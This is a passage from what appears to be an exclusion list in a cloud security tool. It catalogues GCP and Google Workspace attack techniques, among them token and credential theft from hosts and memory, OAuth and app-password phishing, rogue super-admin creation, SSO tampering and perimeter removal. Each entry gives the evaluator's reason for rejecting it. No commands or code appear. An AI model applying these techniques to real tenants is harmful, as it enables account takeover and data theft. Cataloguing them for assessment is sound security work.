cracking SQL Server password hashes + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md#authenticated-user-tokens + technique: Steal another Google user’s locally stored gcloud access or refresh token + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md#service-accounts + technique: Steal a service-account private key or access token from a host + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md#metadata + technique: Fetch an attached service account’s token after gaining guest code execution + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-admin-privesc.md#grant-yourselfan-account-a-privileged-admin-role + technique: Assign a stronger Workspace administrator role to a controlled account + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-admin-persistence.md#domain-wide-delegation-grant-to-an-attacker-service-account + technique: Authorize an attacker-controlled service-account OAuth client for Workspace domain-wide delegation + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-admin-persistence.md#marketplace-app-domain-install--oauth-app-trusted-allow-listing + technique: Install or trust an attacker OAuth app across a Workspace domain + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-admin-persistence.md#sso--saml-sign-in-profile-tampering + technique: Point Workspace SSO at an attacker-controlled identity provider + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts.md#shared-document-script-ownership + technique: Modify a bound Apps Script that later runs under its owner’s authorization + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md#gcds---disk-tokens--ad-credentials + technique: Recover GCDS administrator OAuth and directory credentials from host configuration + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md#gcpw---registry-refresh-tokens + technique: Recover another GCPW user’s Google refresh token or password + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md#gcpw---mitm + technique: Intercept a GCPW user’s Google authorization response during sign-in + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md#gps---dumping-password-and-token-from-disk + technique: Recover Password Sync administrator OAuth or AD credentials from its host + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gws-admin-directory-sync.md#attacking-groups + technique: Join a GCP IAM-bound Workspace group by changing its synchronized external-directory group + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-admin-privesc.md#create-a-new-super-admin + technique: Create a second Google Workspace Super Admin + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts.md#abusing-shared-with-me-documents + technique: Edit a shared Apps Script that still has another user’s installable trigger + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md#gcds---dumping-tokens-from-memory + technique: Extract GCDS OAuth or AD credentials from process memory + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md#gcpw---disk-refresh-tokens + technique: Recover Chrome profile refresh tokens on a GCPW workstation + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md#gcpw---dumping-tokens-from-processes-memory + technique: Recover Google tokens from browser process memory on a GCPW workstation + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md#gcpw---recovering-clear-text-password + technique: Recover a GCPW account password from the Windows LSA secret + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md#gps---dumping-tokens-from-memory + technique: Extract Password Sync OAuth or AD credentials from process memory + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/README.md#app-password-phishing + technique: Phish a Workspace user into issuing and disclosing an app password + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/README.md#oauth-apps-phishing + technique: Obtain delegated user tokens through consent to an attacker OAuth app + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/README.md#manual-authorization-response-relay + technique: Relay a victim’s OAuth authorization code or callback URL + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts.md#leak-token + technique: Exfiltrate an Apps Script OAuth token after victim authorization + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md#gcpw---get-tokens + technique: Recover another user’s GCPW refresh token or stored Google password + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#projectsmove--foldersmove--change-inherited-security-controls + technique: projects.move / folders.move into a parent where the source holds inherited admin + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#projectsdeletepolicybinding--projectsupdatepolicybinding--escape-a-pab + technique: projects.deletePolicyBinding / updatePolicyBinding PAB escape + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#createtagbinding--deletetagbinding--flip-tag-gated-security-conditions + technique: createTagBinding / deleteTagBinding condition flip + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-certificate-authority-service-privesc.md#privatecacapoolsupdate-or-privatecacertificatetemplatesupdate--issuance--relax-certificate-constraints + technique: Relax issuance constraints + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#access-privileged-gcp-users + technique: Workspace admin resets a tenant user's password or adds itself to a tenant group to obtain that identity's GCP roles + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md#gcp + technique: Abuse an over-broad existing workload/workforce identity federation binding from an external identity + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#federation-and-metadata-server-abuse + technique: Abuse an over-broad existing workload/workforce identity federation binding from an external identity + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/iam-and-service-account-impersonation-attacks.md#workload--workforce-identity-federation-confused-deputy + technique: Abuse an over-broad existing workload/workforce identity federation binding from an external identity + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-identity-persistence.md#open-an-iam-bound-groups-join-policy--durable-self-service-re-entry + technique: Open an IAM-bound Google Group to later self-join by a controlled identity + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-application-design-center-enum.md#remote-mcp-server + technique: Deploy caller-controlled infrastructure as a selected service account through Application Design Center + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-admin-privesc.md#account-takeover-reset-password--strip-2-step-verification + technique: Take over a Workspace user with password reset and 2SV control + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gws-admin-directory-sync.md#attacking-users + technique: Claim a newly synced Workspace user through its activation mailbox + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pam-privesc.md#activate-a-stronger-role-through-an-existing-entitlement + technique: Request a temporary IAM-admin grant through a PAM entitlement the source is eligible for + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#federation-and-metadata-server-abuse + technique: Compromised pod reads node SA token or legacy kube-env from metadata + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-basic-information/README.md#service-accounts + technique: Read attached VM SA token from metadata after host access + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#managed-service-tenant--host-escapes + technique: Unauthenticated Dataproc YARN UI submits job as cluster identity + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-private-catalog-privesc.md#cloudprivatecatalogproducerproductsupdate--poison-an-existing-deployable-solution-version + technique: Poison a Terraform solution deployed by a consumer + reason: Evaluator has no typed evidence contract for gcp-privatecatalog-terraform-version-poison; generic challenge flags do not verify the exact target, credential + usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/iam-and-service-account-impersonation-attacks.md#service-account-impersonation--the-crown-jewel + technique: Mint OIDC ID token to invoke protected endpoint as SA + reason: Evaluator has no typed evidence contract for gcp-sa-getopenidtoken-protected-endpoint; generic challenge flags do not verify the exact target, credential + usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md#custom-job-information + technique: Read inline credentials in custom-job environment of a GCP service account + reason: Evaluator has no typed evidence contract for gcp-vertex-customjob-env-sa-credential; generic challenge flags do not verify the exact target, credential + usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-parameter-manager-enum.md#relevant-permissions + technique: Render a parameter version to recover a stronger credential + reason: Evaluator has no typed evidence contract for gcp-parametermanager-version-render-credential; generic challenge flags do not verify the exact target, credential + usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-parameter-manager-enum.md#relevant-permissions + technique: Render a template version to recover a stronger credential + reason: Evaluator has no typed evidence contract for gcp-parametermanager-template-render-credential; generic challenge flags do not verify the exact target, credential + usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-parameter-manager-enum.md#relevant-permissions + technique: Insert a secret reference and render it through Parameter Manager identity + reason: Evaluator has no typed evidence contract for gcp-parametermanager-write-reference-render-credential; generic challenge flags do not verify the exact target, + credential usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added + permission. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md#enumeration + technique: Read credential from workflow execution arguments or results of a GCP service account + reason: Evaluator has no typed evidence contract for gcp-workflows-execution-sa-credential; generic challenge flags do not verify the exact target, credential usability, + credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-secure-source-manager-enum.md#relevant-permissions + technique: Clone a repository containing a stronger cloud credential + reason: Evaluator has no typed evidence contract for gcp-securesourcemanager-fetch-committed-credential; generic challenge flags do not verify the exact target, + credential usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added + permission. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-sensitive-data-protection-dlp-enum.md#enumeration + technique: Read quoted credentials from DLP job findings of a GCP service account + reason: Evaluator has no typed evidence contract for gcp-dlp-job-quote-sa-credential; generic challenge flags do not verify the exact target, credential usability, + credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#usetosign-on-mac--hmac-keys--forge-hmacs + technique: '#### `useToSign` on MAC / HMAC keys — forge HMACs' + reason: Evaluator has no typed evidence contract for gcp-v3-04-forge-an-application-session-or-api-identity-with-a-kms-ma; generic challenge flags do not verify + the exact target, credential usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact + principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md#orgpolicypolicyset-iamserviceaccountsactas + technique: '### `orgpolicy.policy.set`, `iam.serviceAccounts.actAs`' + reason: Evaluator has no typed evidence contract for gcp-v3-34-disable-cross-project-sa-usage-constraint-plus-actas; generic challenge flags do not verify the exact + target, credential usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal + or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-certificate-authority-service-privesc.md#privatecacertificatescreate--issue-a-certificate-for-a-more-privileged-identity + technique: '### `privateca.certificates.create` — issue a certificate for a more privileged identity' + reason: Evaluator has no typed evidence contract for gcp-v3-40-issue-a-certificate-for-another-identity; generic challenge flags do not verify the exact target, + credential usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added + permission. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#signature--jwt--oidc-forgery-with-only-usetosign + technique: '#### Signature / JWT / OIDC forgery with only `useToSign`' + reason: Evaluator has no typed evidence contract for gcp-v3-43-kms-usetosign-on-a-key-that-backs-a-trusted-jwt-oidc-issue; generic challenge flags do not verify + the exact target, credential usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact + principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerpodsattach + technique: Use attach to control an interactive process in a running pod + reason: Evaluator has no typed evidence contract for gcp-container-pods-attach-running-ksa; generic challenge flags do not verify the exact target, credential usability, + credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md#enumeration + technique: Read credential from Storage object or older generation of a GCP service account + reason: Evaluator has no typed evidence contract for gcp-storage-object-sa-credential; generic challenge flags do not verify the exact target, credential usability, + credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#plaintext-environment-disclosure-with-cloud-run-read-permissions + technique: Plaintext credential theft + reason: Evaluator has no typed evidence contract for gcp-run-literal-sa-key-disclosure; generic challenge flags do not verify the exact target, credential usability, + credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md#escalation-through-a-recovered-secret + technique: Stored credential theft + reason: Evaluator has no typed evidence contract for gcp-secretmanager-versions-access-sa-key; generic challenge flags do not verify the exact target, credential + usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added permission. +- id: gcp-managedflink-jobs-create-actas + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-managed-flink-post-exploitation.md#managedflinkjobscreate--execute-an-attacker-jarpython-job-as-the-workload-identity + technique: gcp-managedflink-jobs-create-actas + reason: Google documents job execution under a workload identity but does not establish the caller-side actAs check or a usable route from job code to that identity’s + permissions. The declared permission-to-principal edge is unproven; retain only as a post-exploitation lead until verified. +- id: gcp-backupdr-restore-compute-vm-as-chosen-sa + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-backup-and-dr-post-exploitation.md#restore-a-vaulted-compute-engine-backup-into-a-controlled-project + technique: gcp-backupdr-restore-compute-vm-as-chosen-sa + reason: The documented restore step establishes disk/data recovery, but does not establish that caller actAs authorizes attachment of the chosen service account + or that the caller can use its permissions on the restored VM. The principal edge is unproven; retain the data-recovery action in post exploitation. +- id: gcp-managedflink-jobs-create-actas + source: src/pentesting-cloud/gcp-security/gcp-services/gcp-managed-flink-enum.md#relevant-permissions + technique: Managed Flink job create permission overview + reason: The permission inventory does not prove a caller-to-workload-identity escalation path; the job identity gate and usable principal gain require validation. +- id: gcp-datafusion-namespace-setserviceaccount-actas + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-data-fusion-persistence.md#scheduled-backdoor-pipeline-pinned-to-a-privileged-runtime-sa + technique: gcp-datafusion-namespace-setserviceaccount-actas + reason: The namespace service-account binding can be a design-time identity. The catalog itself states that runtime code may instead use the compute-profile service + account. No verified action-to-chosen-runtime-principal path is established. +- id: gcp-configcontroller-krmapihosts-setiampolicy + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-config-controller-persistence.md#durable-instance-iam-binding-krmapihostingkrmapihostssetiampolicy + technique: Config Controller instance policy self-grant followed by assumed Config Connector pivot + reason: Historical persistence-section anchor; the instance role grant is real, but the catalog's declared hop to Config Connector identity lacks proof of Kubernetes + custom-resource write authority. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-management-privesc.md#servicemanagementservicessetiampolicy--self-grant-on-a-managed-service + technique: Self-grant servicemanagement.services.check on a managed service + reason: Managed service names are not project descendants in the typed resource-self-grant evidence contract. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataplex-privesc.md#dataplexlakeszonesassetssetiampolicy--self-grant-backing-data-access-through-managed-asset-iam + technique: Self-grant storage.objects.get on a lake + reason: The policy target is a Dataplex lake/zone/asset, while the claimed new storage permission applies to a different backing resource; the typed evidence does + not bind that second resource. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesscontextmanagerpoliciessetiampolicy--the-access-policys-own-iam-plane-invisible-backdoor + technique: Self-grant accesscontextmanager.servicePerimeters.update on a access policy + reason: Access policies are organization resources; current typed resource-self-grant evidence supports only exact project descendants. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apigee-privesc.md#apigeeenvironmentssetiampolicy--grant-an-environment-role-to-an-attacker-controlled-principal + technique: Self-grant apigee.proxyrevisions.deploy on a environment + reason: Apigee environment names are organization resources; current typed resource-self-grant evidence supports only exact project descendants. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-beyondcorp-privesc.md#self-grant-access-to-an-existing-private-web-application + technique: Self-grant beyondcorp.sgApplications.use on a secure gateway app + reason: The Application User role grants gateway access without a named IAM permission that the typed permission-grant contract can verify. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-billing-privesc.md#billingaccountssetiampolicy--self-grant-billing-account-administrator + technique: Self-grant billing.accounts.updatePaymentInfo on a billing account + reason: Billing accounts are not project descendants in the typed resource-self-grant evidence contract. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-security-command-center-privesc.md#securitycentersourcessetiampolicy--self-grant-finding-control-on-one-organization-source + technique: Self-grant securitycenter.findings.update on a source + reason: Security Command Center sources are organization resources; current typed resource-self-grant evidence supports only exact project descendants. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#tagkeystagvaluessetiampolicy--self-grant-use-of-a-privileged-tag + technique: Self-grant resourcemanager.tagValueBindings.create on a tag key + reason: Tag keys and values are not project descendants in the typed resource-self-grant evidence contract. + +- id: gcp-audit-s01-35-widen-a-view-caller-can-alre + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtableauthorizedviewsupdate--widen-a-view-that-you-can-already-use + technique: Widen a view caller can already read or mutate + reason: 'Manual-only: a view update must be compared with the caller’s prior read or mutation access and exact rows or columns + gained; no collector records this proof.' + +- id: gcp-biglake-connection-table-bounded-storage-read + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-biglake-privesc.md#bigquerytablescreate--bigqueryconnectionsdelegate--create-a-table-that-reads-as-the-connection-service-account + technique: Read one protected storage object through a connection-backed BigLake table + reason: 'Manual-only: the exact connection, table, object, and source denial followed by an allowed read require a reviewed + before/after proof that the collector does not produce.' + +- id: gcp-bigquery-authorized-routine-bounded-table-access + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#dataset-acl-write--authorize-a-routine-as-an-indirect-access-path + technique: Gain bounded protected-table access through one authorized routine + reason: 'Manual-only: exact callable routine, dataset authorization, prior denial, and later allowed table result require + a reviewed before/after proof that the collector does not produce.' + +- id: gcp-bigquery-authorized-view-bounded-table-access + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#dataset-acl-write--authorized-view-or-dataset-as-an-indirect-read-path + technique: Gain bounded protected-table access through one authorized view + reason: 'Manual-only: exact view, dataset authorization, prior denial, and later allowed table result require a reviewed + before/after proof that the collector does not produce.' + +- id: gcp-bigquery-authorized-dataset-existing-view-bounded-table-access + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#dataset-acl-write--authorized-view-or-dataset-as-an-indirect-read-path + technique: Gain bounded protected-table access through one existing view in an authorized dataset + reason: 'Manual-only: the existing view, authorized dataset, protected table, prior denial, and later allowed query require + a reviewed before/after proof that the collector does not produce.' + +- id: gcp-audit-s01-02-loosen-access-level-for-atta + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesscontextmanageraccesslevelsupdate--loosen-context-aware-access + technique: Loosen access level for attacker IP, device, region or principal + reason: 'Manual-only: deciding access requires the exact caller context, protected consumer, and before/after authorization; + no collector records that complete join.' + +- id: gcp-audit-s01-03-create-a-bridge-perimeter-jo + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesscontextmanagerserviceperimetersupdate--defeat-vpc-sc-data-exfil-protection + technique: Create a bridge perimeter joining attacker and victim projects + reason: 'Manual-only: a bridge matters only for a particular previously blocked request and two eligible projects; no collector + records that before/after path.' + +- id: gcp-audit-s01-04-delete-a-perimeter-or-access + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesscontextmanagerserviceperimetersupdate--defeat-vpc-sc-data-exfil-protection + technique: Delete a perimeter or access level to remove protection + reason: 'Manual-only: the specific gate and an otherwise IAM-authorized request must be observed before and after deletion; + no collector records this proof.' + +- id: gcp-audit-s01-06-delete-or-weaken-a-group-con + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#gcpuseraccessbindings-cloud-bindings--context-removal-or-extended-workforce-sessions + technique: Delete or weaken a group context-aware access binding + reason: 'Manual-only: group membership, the affected context gate, and a protected consumer must be joined; no collector + records the complete path.' + +- id: gcp-audit-s01-21-repoint-accessible-gateway-a + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-beyondcorp-privesc.md#repoint-an-application-the-caller-can-already-use-to-another-web-target-behind-its-existing-upstream + technique: Repoint accessible gateway app to new internal HTTP(S) host + reason: 'Manual-only: existing app use, upstream route, target host, and target authentication must be established together; + no collector records this path.' + +- id: gcp-dataproc-staging-object-plant + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocclustersget--config-leak-sa--scopes--buckets--metadata--properties--staging-bucket-poison + technique: Plant a new Dataproc staging dependency for a later job + reason: 'Manual-only: bucket write access cannot establish an unused exact object name, a later job reference, and execution + by the cluster service account; these facts are not collected.' + +- id: gcp-bigtable-row-credential + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md#read-base-table-rows + technique: Read Bigtable base-table rows + reason: 'Manual-only: a normal inventory does not read Bigtable cells or verify a reusable private key, exact service-account + subject, and successful authentication.' + +- id: gcp-bigquery-remote-function-bounded-cloudrun-invoke + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigqueryroutinescreate--bigqueryconnectionsdelegateuse--invoke-cloud-run-through-a-remote-function + technique: Invoke one protected Cloud Run endpoint through an exact remote function + reason: 'Manual-only: exact connection, routine, endpoint, prior denial, and later allowed invocation require a reviewed + before/after proof that the collector does not produce.' + +- id: gcp-bms-direct-initial-secret-exact-server-user + source: 